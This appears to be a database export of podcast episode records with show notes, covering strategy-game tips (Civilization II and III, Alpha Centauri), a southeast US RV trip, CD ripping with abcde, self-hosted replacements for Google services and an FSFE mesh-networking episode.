(3910,'2023-07-28','Playing Civilization II',968,'Some hints for playing Civilization II','<p>As I did for the original Civilization, I want to give a few hints on\nplaying this marvelous upgrade. This is obviously not a complete manual\nor strategy guide, which would take a <em>lot</em> longer, but if you\nhappened to run across a copy and wanted to check it out these are a\nsome hints on what you might want to do. I do give you links to other\nresources if you want to go into more depth.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a\nhref=\"https://civilization.fandom.com/wiki/Help_with_playing_Civ2\"\nclass=\"uri\">https://civilization.fandom.com/wiki/Help_with_playing_Civ2</a></li>\n<li><a href=\"https://civilization.fandom.com/wiki/Attitude_(Civ2)\"\nclass=\"uri\">https://civilization.fandom.com/wiki/Attitude_(Civ2)</a></li>\n<li><a\nhref=\"https://www.palain.com/gaming/civilization-ii/playing-civilization-ii-hints/\"\nclass=\"uri\">https://www.palain.com/gaming/civilization-ii/playing-civilization-ii-hints/</a></li>\n</ul>\n',198,122,0,'CC-BY-SA','Computer games, strategy games, Civilization II',0,0,1),
(3920,'2023-08-11','RV Trip 2022-2023: Southeast US',862,'Step one for a months-long RV trip is the planning.','<p>In this episode we look at the planning process for our second RV\ntrip. Last year we toured the Southwest US, but we don\'t like to repeat\nourselves. So this time we decided to tour the Southeast US. This not\nonly let us visit a much different part of the country, but it also\nallowed us to go back to our plan to visit some NASA facilities.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.flattestroute.com/\"\nclass=\"uri\">https://www.flattestroute.com/</a></li>\n<li><a href=\"https://en-us.topographic-map.com/\"\nclass=\"uri\">https://en-us.topographic-map.com/</a></li>\n<li><a\nhref=\"https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/\"\nclass=\"uri\">https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','RV, travel planning',0,0,1),
(3930,'2023-08-25','Playing Civilization II Test of Time',747,'Some hints for playing Civilization II Test of Time','<p>For reasons I go into, this is in some respects a different game from\nCivilization II, at least different enough to deserve some separate\nattention. The multiple map feature makes for some interesting game play\npossibilities that add interest to this version, and the fact that it\nhas no defined end point is also intriguing. And the scenarios add some\ninteresting story differences as well.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a\nhref=\"https://www.amazon.com/Sid-Meiers-Memoir-Computer-Games-ebook/dp/B085845CX9/ref=tmm_kin_swatch_0\"\nclass=\"uri\">https://www.amazon.com/Sid-Meiers-Memoir-Computer-Games-ebook/dp/B085845CX9/ref=tmm_kin_swatch_0</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Lalande_21185\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Lalande_21185</a></li>\n<li><a\nhref=\"https://www.myabandonware.com/game/civilization-ii-test-of-time-454\"\nclass=\"uri\">https://www.myabandonware.com/game/civilization-ii-test-of-time-454</a></li>\n<li><a\nhref=\"https://www.palain.com/gaming/civilization-ii/playing-civilization-ii-test-of-time/\"\nclass=\"uri\">https://www.palain.com/gaming/civilization-ii/playing-civilization-ii-test-of-time/</a></li>\n</ul>\n',198,0,0,'CC-BY-SA','Computer games, strategy games, Civilization II, Test of Time',0,0,1),
(3940,'2023-09-08','Equipment Maintenance',792,'We prepare the RV and the truck for our trip. ','<p>When you go on an RV trip you are basically towing your home around,\nand that means you need to have your equipment in shape. RVs are said to\nundergo an earthquake every time you tow them, and so there are things\nthat need to be addressed. And the tow vehicle needs to be in good shape\nas well. So in this episode we discuss how we did the necessary\nequipment maintenance.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a\nhref=\"https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/equipment-maintenance/\"\nclass=\"uri\">https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/equipment-maintenance/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','RV, travel, southeast US, maintenance',0,0,1),
(3950,'2023-09-22','Sid Meiers\' Alpha Centauri',969,'One of the best overlooked games','<p>Because it doesn\'t have the word \"Civilization\" in its name, this\ngame is unfairly overlooked. It was a major achievement when released,\nand it is still a very rewarding game for anyone to pick up and play.\nThere is a lot of depth to it, and it holds up well even after a couple\nof decades.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://www.youtube.com/watch?v=1m0aEO7CrxM\"\nclass=\"uri\">https://www.youtube.com/watch?v=1m0aEO7CrxM</a></li>\n<li><a\nhref=\"https://www.gamespot.com/articles/an-interview-with-brian-reynolds/1100-2564268/\"\nclass=\"uri\">https://www.gamespot.com/articles/an-interview-with-brian-reynolds/1100-2564268/</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=4HpyQoU1DNw\"\nclass=\"uri\">https://www.youtube.com/watch?v=4HpyQoU1DNw</a></li>\n<li><a href=\"https://alphacentauri.fandom.com/wiki/Alpha_Centauri_Wiki\"\nclass=\"uri\">https://alphacentauri.fandom.com/wiki/Alpha_Centauri_Wiki</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=0u7uUWYE_9M\"\nclass=\"uri\">https://www.youtube.com/watch?v=0u7uUWYE_9M</a></li>\n<li><a\nhref=\"http://www.civ.org.pl/files/smac/misc/ALPHA_CENTAURI_MANUAL.PDF\"\nclass=\"uri\">http://www.civ.org.pl/files/smac/misc/ALPHA_CENTAURI_MANUAL.PDF</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=9oDIG4RRcLM\"\nclass=\"uri\">https://www.youtube.com/watch?v=9oDIG4RRcLM</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=9_PxlRn4SCU\"\nclass=\"uri\">https://www.youtube.com/watch?v=9_PxlRn4SCU</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=f9kdaKcQ19M\"\nclass=\"uri\">https://www.youtube.com/watch?v=f9kdaKcQ19M</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=B3TZVn__NXY\"\nclass=\"uri\">https://www.youtube.com/watch?v=B3TZVn__NXY</a></li>\n<li><a href=\"https://www.palain.com/gaming/sid-meiers-alpha-centauri/\"\nclass=\"uri\">https://www.palain.com/gaming/sid-meiers-alpha-centauri/</a></li>\n</ul>\n',198,0,0,'CC-BY-SA','Computer games, strategy games, Alpha Centauri',0,0,1),
(3970,'2023-10-20','Playing Alpha Centauri, Part 1',1021,'Part 1 of tips on playing Alpha Centauri','<p>This starts our look at how to play Alpha Centauri, and we look at\ngame concepts that set this game apart from others.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://alphacentauri.fandom.com/wiki/Governor\"\nclass=\"uri\">https://alphacentauri.fandom.com/wiki/Governor</a></li>\n<li><a href=\"https://civilization.fandom.com/wiki/Factions_(SMAC)\"\nclass=\"uri\">https://civilization.fandom.com/wiki/Factions_(SMAC)</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Sparta\"\nclass=\"uri\">http://en.wikipedia.org/wiki/Sparta</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/militarism\"\nclass=\"uri\">http://en.wikipedia.org/wiki/militarism</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/survivalism\"\nclass=\"uri\">http://en.wikipedia.org/wiki/survivalism</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/martial_law\"\nclass=\"uri\">http://en.wikipedia.org/wiki/martial_law</a></li>\n<li><a href=\"https://civilization.fandom.com/wiki/Vendetta_(SMAC)\"\nclass=\"uri\">https://civilization.fandom.com/wiki/Vendetta_(SMAC)</a></li>\n<li><a\nhref=\"https://www.palain.com/gaming/sid-meiers-alpha-centauri/playing-alpha-centuari-1/\"\nclass=\"uri\">https://www.palain.com/gaming/sid-meiers-alpha-centauri/playing-alpha-centuari-1/</a></li>\n</ul>\n',198,0,0,'CC-BY-SA','Computer games, strategy games, Alpha Centauri',0,0,1),
(3980,'2023-11-03','Huntsville to Vicksburg',908,'From NASA to the Civil War.','<p>We survive the freezing weather in Huntsville, and then move on to\nour next major stop in Vicksburg, Mississippi. But we have a problem of\na refrigerator that stops working and needs to be replaced.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjAvdPH\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvdPH</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvfVo\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvfVo</a></li>\n<li><a\nhref=\"https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/huntsville-to-vic\"\nclass=\"uri\">https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/huntsville-to-vic</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','RV, travel, southeast US',0,0,1),
(3990,'2023-11-17','Playing Alpha Centauri, Part 2',1221,'Part 2 of tips on playing Alpha Centauri','<p>This continues our look at how to play Alpha Centauri, and we look at\ngame concepts that set this game apart from others. This episode is all\nabout Social Engineering choices.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a\nhref=\"https://www.palain.com/gaming/sid-meiers-alpha-centauri/playing-alpha-centauri-2/\"\nclass=\"uri\">https://www.palain.com/gaming/sid-meiers-alpha-centauri/playing-alpha-centauri-2/</a></li>\n</ul>\n',198,0,0,'CC-BY-SA','Computer games, strategy games, Alpha Centauri',0,0,1),
(4000,'2023-12-01','New Orleans',957,'We visit the Big Easy.','<p>We get to visit New Orleans, and a bit of Louisiana, in this episode.\nOf course, we only scratched the surface, but that is true of most\ntravel when you think about it. We did see a few interesting things\nalong the way, and started to realize that this trip is not just about\nNASA sites, but also a lot of military history, which is also an\ninterest of mine.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjAvhRR\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvhRR</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvoB6\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvoB6</a></li>\n<li><a\nhref=\"https://www.flickr.com/photos/ahuka/52740199646/in/dateposted-public/\"\nclass=\"uri\">https://www.flickr.com/photos/ahuka/52740199646/in/dateposted-public/</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvp24\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvp24</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvpc9\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvpc9</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAviHF\"\nclass=\"uri\">https://flic.kr/s/aHBqjAviHF</a></li>\n<li><a\nhref=\"https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/new-orleans/\"\nclass=\"uri\">https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/new-orleans/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','RV, travel, southeast US, New Orleans',0,0,1),
(4010,'2023-12-15','Playing Alpha Centauri, Part 3',1061,'Part 3 of tips on playing Alpha Centauri','<p>This continues our look at how to play Alpha Centauri, and we look at\ngame concepts that set this game apart from others. This episode looks\nat the Design Workshop, and how to create powerful units for your\nmilitary.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://alphacentauri2.info/wiki/Unit\"\nclass=\"uri\">https://alphacentauri2.info/wiki/Unit</a></li>\n<li><a\nhref=\"https://www.palain.com/gaming/sid-meiers-alpha-centauri/playing-alpha-centauri-3/\"\nclass=\"uri\">https://www.palain.com/gaming/sid-meiers-alpha-centauri/playing-alpha-centauri-3/</a></li>\n</ul>\n',198,122,0,'CC-BY-SA','Computer games, strategy games, Alpha Centauri',0,0,1),
(4020,'2023-12-29','Alabama to Florida',812,'We start traveling across the Gulf Coast on our way to Florida.','<p>We leave New Orleans and start out across the Gulf Coast. We make a\nbrief stop in Mississippi to add one more NASA site to our trip, then\ninto Alabama just south of Mobile. From there we move into the Florida\nPanhandle.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjAviPn\"\nclass=\"uri\">https://flic.kr/s/aHBqjAviPn</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvk1v\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvk1v</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvqGi\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvqGi</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvqPc\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvqPc</a></li>\n<li><a\nhref=\"https://www.flickr.com/photos/ahuka/52741226923/in/album-72177720306649109/\"\nclass=\"uri\">https://www.flickr.com/photos/ahuka/52741226923/in/album-72177720306649109/</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvx9b\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvx9b</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvszF\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvszF</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvr86\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvr86</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvDr1\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvDr1</a></li>\n<li><a\nhref=\"https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/alabama-to-florida/\"\nclass=\"uri\">https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/alabama-to-florida/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','RV, travel, southeast US, Alabama, Florida',0,0,1),
(4030,'2024-01-12','Playing Alpha Centauri, Part 4',728,'Part 4 of tips on playing Alpha Centauri','<p>This continues our look at how to play Alpha Centauri, and we look at\ngame concepts that set this game apart from others.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://alphacentauri.fandom.com/wiki/Victory\"\nclass=\"uri\">https://alphacentauri.fandom.com/wiki/Victory</a></li>\n<li><a\nhref=\"https://www.palain.com/gaming/sid-meiers-alpha-centauri/playing-alpha-centauri-4/\"\nclass=\"uri\">https://www.palain.com/gaming/sid-meiers-alpha-centauri/playing-alpha-centauri-4/</a></li>\n</ul>\n',198,122,0,'CC-BY-SA','Computer games, strategy games, Alpha Centauri',0,0,1),
(4040,'2024-01-26','Further Into Florida',893,'We continue our Florida journey and hit the Kennedy Space Center.','<p>We leave the Florida Panhandle to move into Central Florida and our\nhighly anticipated visit to the Kennedy Space Center. It turned out to\nbe everything we hoped, and we had a fantastic time. In fact we spent\nfive days at the Center soaking it all in, and had a blast.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a\nhref=\"https://www.flickr.com/photos/ahuka/52744370697/in/album-72177720306692379/\"\nclass=\"uri\">https://www.flickr.com/photos/ahuka/52744370697/in/album-72177720306692379/</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvxqG\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvxqG</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvysa\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvysa</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvyCM\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvyCM</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvEYe\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvEYe</a></li>\n<li><a\nhref=\"https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/further-into-florida/\"\nclass=\"uri\">https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/further-into-florida/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','RV, travel, southeast US, Florida',0,0,1),
(4050,'2024-02-09','Playing Alpha Centauri, Part 5',1133,'Part 5 of tips on playing Alpha Centauri','<p>This continues our look at how to play Alpha Centauri, and we look at\ngame concepts that set this game apart from others.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a\nhref=\"https://www.palain.com/gaming/sid-meiers-alpha-centauri/playing-alpha-centauri-2/\"\nclass=\"uri\">https://www.palain.com/gaming/sid-meiers-alpha-centauri/playing-alpha-centauri-2/</a></li>\n<li><a href=\"https://alphacentauri2.info/wiki/Difficulty\"\nclass=\"uri\">https://alphacentauri2.info/wiki/Difficulty</a></li>\n<li><a\nhref=\"https://www.palain.com/gaming/sid-meiers-alpha-centauri/playing-alpha-centauri-5/\"\nclass=\"uri\">https://www.palain.com/gaming/sid-meiers-alpha-centauri/playing-alpha-centauri-5/</a></li>\n</ul>\n',198,122,0,'CC-BY-SA','Computer games, strategy games, Alpha Centauri',0,0,1),
(4060,'2024-02-23','Florida to Georgia',741,'We wrap up our Florida adventure and move up to Georgia.','<p>We finish up our visit to Kennedy Space Center with one more day at\nthe Center. Then we spend a few days at St. Augustine before leaving\nFlorida and moving up north to Savannah, Georgia</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjAvzyo\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvzyo</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvzD3\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvzD3</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvFon\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvFon</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvFAg\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvFAg</a></li>\n<li><a\nhref=\"https://www.flickr.com/photos/ahuka/52747902453/in/album-72177720306712627/\"\nclass=\"uri\">https://www.flickr.com/photos/ahuka/52747902453/in/album-72177720306712627/</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvHR5\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvHR5</a></li>\n<li><a\nhref=\"https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/florida-to-georgia/\"\nclass=\"uri\">https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/florida-to-georgia/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','RV, travel, southeast US, Florida, Georgia',0,0,1),
(4070,'2024-03-08','Civilization III',972,'We start our look at the next game in the Civilization franchise.','<p>This starts our look at Civilization III, which continued the\nCivilization franchise and followed upon the Alpha Centauri game. This\ngame builds upon the concepts already a part of Civilization, but adds\nsome new features and advancements. Every new version of Civiliation has\npushed new concepts and developed the franchise further, and that is one\nreason why each one has been a best-seller and an award winner.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://civilization.fandom.com/wiki/Unique_unit_(Civ3)\"\nclass=\"uri\">https://civilization.fandom.com/wiki/Unique_unit_(Civ3)</a></li>\n<li><a\nhref=\"https://civilization.fandom.com/wiki/List_of_strengths_in_Civ3\"\nclass=\"uri\">https://civilization.fandom.com/wiki/List_of_strengths_in_Civ3</a></li>\n<li><a href=\"https://civilization.fandom.com/wiki/Golden_Age_(Civ3)\"\nclass=\"uri\">https://civilization.fandom.com/wiki/Golden_Age_(Civ3)</a></li>\n<li><a\nhref=\"https://civilization.fandom.com/wiki/List_of_civilizations_in_Civ3\"\nclass=\"uri\">https://civilization.fandom.com/wiki/List_of_civilizations_in_Civ3</a></li>\n<li><a href=\"https://www.civfanatics.com/civ3/infocenter/#victories\"\nclass=\"uri\">https://www.civfanatics.com/civ3/infocenter/#victories</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=YZDmlnJSVdE\"\nclass=\"uri\">https://www.youtube.com/watch?v=YZDmlnJSVdE</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=8WeGVE84mVU\"\nclass=\"uri\">https://www.youtube.com/watch?v=8WeGVE84mVU</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Civilization_III\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Civilization_III</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=_LKcoZd6yYM\"\nclass=\"uri\">https://www.youtube.com/watch?v=_LKcoZd6yYM</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=Ntkw5otU8C4\"\nclass=\"uri\">https://www.youtube.com/watch?v=Ntkw5otU8C4</a></li>\n<li><a href=\"https://www.palain.com/gaming/civilization-iii/\"\nclass=\"uri\">https://www.palain.com/gaming/civilization-iii/</a></li>\n</ul>\n',198,122,0,'CC-BY-SA',' Computer games, strategy games, Civilization III',0,0,1),
(4080,'2024-03-22','Georgia to South Carolina',560,'We visit the beautiful city of Savannah, Georgia, and then move on to Charleston, South Carolina.','<p>Savannah, Georgia is one of the most beautiful cities in the United\nStates, with a great history. It is one of the older cities in the south\nthat actually escaped destruction in the Civil War because the mayor\nsurrendered the city to General Sherman. After visiting this city, we\nmoved just a bit further north to Charleston, South Carolina, where the\nCivil War began with the assault on Fort Sumter.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjAvHR5\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvHR5</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvKgk\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvKgk</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvPR2\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvPR2</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvPYm\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvPYm</a></li>\n<li><a\nhref=\"https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/florida-to-georgia/\"\nclass=\"uri\">https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/florida-to-georgia/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','RV, travel, southeast US, Georgia, South Carolina',0,0,1),
(3839,'2023-04-20','Rip a CD in the terminal',300,'Archer72 rips CD\'s in the terminal and avoids the whims of the media companies','<p>Wiki</p>\n<p><a href=\"https://abcde.einval.com/wiki/\" title=\"ABCDE Wiki\">ABCDE\nWiki</a></p>\n<p>Github</p>\n<p><a href=\"https://github.com/johnlane/abcde\"\ntitle=\"ABCDE Github page\">ABCDE Github page</a></p>\n<p>Git</p>\n<p><a\nhref=\"https://git.einval.com/cgi-bin/gitweb.cgi?p=abcde.git;a=summary\"\ntitle=\"ABCDE Git page\">ABCDE Git page</a></p>\n<p><a\nhref=\"https://askubuntu.com/questions/1179179/abcde-what-is-an-abcde-conf-file-to-rip-to-multiple-formats\"\ntitle=\"Ask Ubuntu page\">Ask Ubuntu page</a></p>\n<ul>\n<li><a href=\"http://hackerpublicradio.org/eps/hpr3839/abcde.conf\"\ntitle=\"abcde CD ripping configuration file\">abcde.conf \"abcde CD ripping\nconfiguration file\"</a></li>\n</ul>\n<p><em><em>Custom abcde configuration file</em></em></p>\n<ul>\n<li><p>For only ogg,mp3,flac and opus</p></li>\n<li><p><a\nhref=\"http://hackerpublicradio.org/eps/hpr3839/custom-abcde.conf\"\ntitle=\"Custom abcde CD ripping configuration file\">custom-abcde.conf\n\"abcde CD ripping configuration file\"</a></p></li>\n</ul>\n<p><em><em>freedb.freedb.org is dead; use gnudb.gnudb.org\ninstead</em></em></p>\n<p><a href=\"https://abcde.einval.com/bugzilla/show_bug.cgi?id=155\"\ntitle=\"Bugzilla entry for freedb.org\">Bugzilla entry for\nfreedb.org</a></p>\n<p><em><em>Updated CDDB location in .abcde.conf</em></em></p>\n<pre><code>CDDBURL=&quot;http://gnudb.gnudb.org/~cddb/cddb.cgi&quot;</code></pre>\n<p><em><em>Alias in BASH</em></em></p>\n<pre><code>alias ripcd.mp3=&#39;abcde -o mp3&#39;\nalias ripcd.opus=&#39;abcde -o opus&#39;\nalias ripcd.ogg=&#39;abcde -o ogg&#39;\nalias ripcd.opus=&#39;abcde -o opus&#39;</code></pre>\n<p><em><em>More Info</em></em></p>\n<p><a\nhref=\"https://askubuntu.com/questions/788327/use-abcde-to-produce-high-quality-flac-and-mp3-output-with-album-art-under-xenia#788757\"\nclass=\"uri\">https://askubuntu.com/questions/788327/use-abcde-to-produce-high-quality-flac-and-mp3-output-with-album-art-under-xenia#788757</a></p>\n<pre><code>abcde -o &#39;flac:-8,mp3:-b 320&#39; -G</code></pre>\n',318,11,0,'CC-BY-SA','optical media, terminal apps, lightweight apps, rip cd',0,0,1),
(3832,'2023-04-11','How I left Google behind',1813,'Just an overview of what services I now use to replace previously used Google services','<p>A list of the software and hardware I cover in the show.</p>\n<h3 id=\"hardware\">Hardware:</h3>\n<ul>\n<li><p>Server - 11th gen i5-11400, 64GB RAM, 12TB SSD storage</p></li>\n<li><p>Local backup server - 4th gen i5-4570, 32GB RAM, 24TB HDD storage\nin mirrored ZFS pool for 12TB usable.</p></li>\n<li><p>Offsite backup server - Celeron J4125, 16GB RAM, 8TB SSD\nstorage</p></li>\n</ul>\n<h3 id=\"software\">Software:</h3>\n<ul>\n<li><p>Hypervisor - Proxmox Virtual Environment<br />\n<a href=\"https://www.proxmox.com/en/proxmox-ve\"\nclass=\"uri\">https://www.proxmox.com/en/proxmox-ve</a></p></li>\n<li><p>Backup software - Proxmox Backup Server<br />\n<a href=\"https://www.proxmox.com/en/proxmox-backup-server\"\nclass=\"uri\">https://www.proxmox.com/en/proxmox-backup-server</a></p></li>\n<li><p>Email - iRedMail<br />\n<a href=\"https://www.iredmail.org/index.html\"\nclass=\"uri\">https://www.iredmail.org/index.html</a></p></li>\n<li><p>Photos, Notes, File Storage, Office Software - Nextcloud\nAIO<br />\n<a href=\"https://github.com/nextcloud/all-in-one\"\nclass=\"uri\">https://github.com/nextcloud/all-in-one</a></p></li>\n<li><p>Music - Funkwhale<br />\n<a href=\"https://funkwhale.audio/\"\nclass=\"uri\">https://funkwhale.audio/</a></p></li>\n<li><p>Social Media - Mastodon<br />\n<a href=\"https://github.com/mastodon/mastodon\"\nclass=\"uri\">https://github.com/mastodon/mastodon</a></p></li>\n<li><p>Blog - writefreely<br />\n<a href=\"https://github.com/writefreely/writefreely\"\nclass=\"uri\">https://github.com/writefreely/writefreely</a></p></li>\n<li><p>Video - Invidious, Peertube<br />\n<a href=\"https://invidious.io/\"\nclass=\"uri\">https://invidious.io/</a><br />\n<a href=\"https://github.com/Chocobozzz/PeerTube/\"\nclass=\"uri\">https://github.com/Chocobozzz/PeerTube/</a></p></li>\n<li><p>Chat - Matrix, Element<br />\n<a href=\"https://github.com/matrix-org/synapse/\"\nclass=\"uri\">https://github.com/matrix-org/synapse/</a><br />\n<a href=\"https://element.io/\"\nclass=\"uri\">https://element.io/</a></p></li>\n</ul>\n',375,0,0,'CC-BY-SA','selfhosted,google,proxmox,iredmail,nextcloud,funkwhale,mastodon,writefreely,peertube,invidious,matri',0,0,1),
(3833,'2023-04-12','Software Freedom Podcast',2412,'Another excellent podcast for your consideration this time it\'s news from the FSFE','<h1>Software Freedom Podcast - Free Software Foundation Europe</h1>\n\n<p>Another recommendation for your podcatcher from our sister project <a href=\"https://freeculturepodcasts.org/\">https://freeculturepodcasts.org/</a></p>\n\n<ul>\n<li>Website: <a href=\"https://fsfe.org/about/about.en.html\">https://fsfe.org/about/about.en.html</a></li>\n<li>Episode: <a href=\"https://fsfe.org/news/podcast/episode-14.html\">https://fsfe.org/news/podcast/episode-14.html</a></li>\n<li>Feed Opus: <a href=\"feed://fsfe.org/news/podcast-opus.en.rss\">feed://fsfe.org/news/podcast-opus.en.rss</a></li>\n<li>Feed mp3: <a href=\"feed://fsfe.org/news/podcast.en.rss\">feed://fsfe.org/news/podcast.en.rss</a></li>\n<li>Copyright (c) Free Software Foundation Europe. Creative Commons BY-SA 4.0</li>\n</ul>\n\n<hr />\n\n<h1>SFP#14: The world of mesh networking with Elektra Wagenrad</h1>\n\n<p>\nWith this episode the Software Freedom Podcast opens the door to the fascinating and sometimes complex world of mesh networking. And who better than Elektra Wagenrad can take us on this journey? Elektra is one of the original developers of the B.A.T.M.A.N. protocol and of the Mesh Potato project.\n</p>\n\n<p>In our 14th Software Freedom Podcast episode Matthias Kirschner talks with our guest, Elektra Wagenrad, about the origins of Freifunk, the B.A.T.M.A.N. protocol, and the Mesh Potato project. If you are new to the world of mesh networking this episodes is an easy entrance to it. Elektra not only explains the theory behind the protocols but also dives deeper into the philosophical idea of it. In this context, Matthias and Elektra also touch on the difficult topic of limiting the use of Free Software, using the example of the former ban on the use of the B.A.T.M.A.N. protocol for military activities. Last but not least they also discuss the EUs <a href=\"https://fsfe.org/activities/radiodirective/index.en.html\">Radio Equipment Directive</a> and the FSFE\'s <a href=\"https://fsfe.org/activities/routers/routers.en.html\">Router Freedom activity</a>.</p>\n\n<p>With this episode, the Software Freedom Podcast has produced an easy to follow and easy to understand podcast for everybody who is interested in mesh networking. Join us on our journey through this fascinating technical and philosophical world and listen to Elektra and Matthias as they tell the story with its ups and downs.\n</p>\n\n\n\n<p>Read more:</p>\n<ul>\n<li><a href=\"https://fsfe.org//freesoftware/index.en.html\">What is Free Software?</a></li>\n<li><a href=\"https://freifunk.net/\">Freifunk (DE)</a></li>\n<li><a href=\"https://www.open-mesh.org/\">Open-Mesh Project</a></li>\n<li><a href=\"https://villagetelco.org/mesh-potato/\">The \"Mesh Potato\" project</a></li>\n<li><a href=\"https://fsfe.org//activities/radiodirective/radiodirective.en.html\">FSFEs activity on Radio Lockdown</a></li>\n<li><a href=\"https://fsfe.org//activities/routers/routers.en.html\">FSFE\'s Router Freedom activity</a></li>\n</ul>\n\n<p>If you liked this episode and want to support our continuous work for software freedom, please help us with a <a href=\"https://my.fsfe.org/donate?referrer=https://fsfe.org/news/podcast/episode-14.html\">donation</a>.</p>\n\n<hr />\n',30,75,0,'CC-BY-SA','FOSDEM, Podcast Recommendations, FSFE, FLOSS',0,0,1),
